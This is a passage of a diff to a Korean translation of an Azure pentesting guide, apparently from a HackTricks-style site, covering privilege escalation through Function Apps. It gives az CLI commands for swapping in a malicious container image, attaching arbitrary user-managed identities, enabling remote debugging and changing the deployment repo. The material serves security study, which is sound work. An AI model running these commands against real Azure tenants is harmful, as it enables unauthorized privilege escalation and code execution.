이 권한들로 컨테이너로 구성된 function app이 실행하는 컨테이너를 **수정할 수 있습니다**. 이로 인해 공격자는 예를 들어 docker hub에 악성 azure function container app을 업로드하고 해당 function이 이를 실행하도록 만들 수 있습니다.
|
이 권한들이 있으면 컨테이너를 실행하도록 설정된 function app이 실행하는 **컨테이너를 수정**할 수 있습니다. 이를 통해 공격자는 악성 azure function container app을 docker hub(예를 들어)에 업로드한 뒤 function이 그것을 실행하도록 만들 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
az functionapp config container set --name <app-name> \
|
az functionapp config container set --name <app-name> \
|
||||||
--resource-group <res-group> \
|
--resource-group <res-group> \
|
||||||
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||||
|
|
||||||
이 권한들을 통해 **attach a new user managed identity to a function** 하는 것이 가능합니다. 만약 해당 function이 탈취되면, 이는 어떤 user managed identity로도 권한을 상승시키는 데 이용될 수 있습니다.
|
이 권한들이 있으면 **새 user managed identity를 function에 연결**할 수 있습니다. function이 compromised된 상태라면, 이를 통해 **아무 user managed identity로든 privilege escalation**이 가능합니다.
|
||||||
```bash
|
```bash
|
||||||
az functionapp identity assign \
|
az functionapp identity assign \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
--resource-group <res-group> \
|
--resource-group <res-group> \
|
||||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||||
```
|
```
|
||||||
### 원격 디버깅
|
### Remote Debugging
|
||||||
|
|
||||||
이는 [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)에서 설명한 것처럼 실행 중인 Azure Function에 연결해 디버그할 수 있습니다. 하지만 기본적으로 개발자가 잊어 취약한 설정을 남기지 않도록 Azure는 이 옵션을 2일 후에 자동으로 비활성화합니다.
|
실행 중인 Azure function에 debug로 연결하는 것도 가능하며, 이는 [**docs에서 설명**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)되어 있습니다. 하지만 기본적으로 Azure는 개발자가 취약한 설정을 남겨두는 것을 잊는 경우를 대비해 2일 후 이 option을 off로 바꿉니다.
|
||||||
|
|
||||||
Function에 디버깅이 활성화되어 있는지 확인할 수 있습니다:
|
Function에 debugging이 enabled되어 있는지 확인하는 것은 다음과 같습니다:
|
||||||
```bash
|
```bash
|
||||||
az functionapp show --name <app-name> --resource-group <res-group>
|
az functionapp show --name <app-name> --resource-group <res-group>
|
||||||
```
|
```
|
||||||
권한 `Microsoft.Web/sites/config/write`이 있으면 함수를 디버깅 모드로 설정할 수도 있습니다 (다음 명령은 또한 `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` 및 `Microsoft.Web/sites/Read` 권한을 필요로 합니다).
|
권한 `Microsoft.Web/sites/config/write`가 있으면 function을 debugging mode로 설정하는 것도 가능합니다(다음 명령은 `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` 및 `Microsoft.Web/sites/Read` 권한도 필요합니다).
|
||||||
```bash
|
```bash
|
||||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||||
```
|
```
|
||||||
### Github repo 변경
|
### Change Github repo
|
||||||
|
|
||||||
다음 명령들을 실행해 배포가 이루어지는 Github repo를 변경해 보았지만, 변경이 되었더라도 **새 코드가 로드되지 않았습니다** (아마도 Github Action이 코드를 업데이트하기를 기대하고 있기 때문입니다).\
|
다음 명령을 실행해서 배포가 이루어지는 Github repo를 변경해 보려고 했지만, 설령 변경되었다 하더라도 **새 코드가 로드되지 않았습니다**(아마도 Github Action이 코드를 업데이트하기를 기대하고 있기 때문일 것입니다).\
|
||||||
게다가 **managed identity federated credential이 새 repo를 허용하도록 업데이트되지 않았습니다**, 그래서 이 방법은 그다지 유용하지 않은 것 같습니다.
|
게다가 **managed identity federated credential가 새 repository를 허용하도록 업데이트되지도 않았기** 때문에, 이 방법은 별로 유용하지 않아 보입니다.
|
||||||
```bash
|
```bash
|
||||||
# Remove current
|
# Remove current
|
||||||
az functionapp deployment source delete \
|
az functionapp deployment source delete \
|
||||||
|
|||||||
Reference in New Issue
Block a user